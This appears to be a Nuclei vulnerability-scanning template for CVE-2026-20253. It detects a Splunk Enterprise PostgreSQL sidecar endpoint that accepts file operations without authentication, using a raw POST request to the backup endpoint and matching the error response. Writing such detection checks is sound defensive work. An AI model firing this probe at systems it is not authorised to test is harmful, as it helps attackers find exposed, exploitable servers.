id: CVE-2026-20253

info:
  name: "Splunk Enterprise - Missing Authentication"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    In Splunk Enterprise 10.2 versions below 10.2.4 and 10 versions below 10.0.7, an unauthenticated user could
    create or truncate arbitrary files through a PostgreSQL sidecar service endpoint. The vulnerability exists
    because the PostgreSQL sidecar service endpoint lacks authentication controls, allowing any network-reachable
    user to invoke file operations without credentials.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-20253&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=splunk&match=exact
  classification:
    cve-id: CVE-2026-20253
  metadata:
    verified: false
  tags: cve,cve2026,splunk,postgres,backup,vkev,kev
http:
  - raw:
      - |
        POST /{{region}}/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic ZGFnOg==

    payloads:
      region:
        - "en-US"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Failed to decode"

      - type: status
        status:
          - 400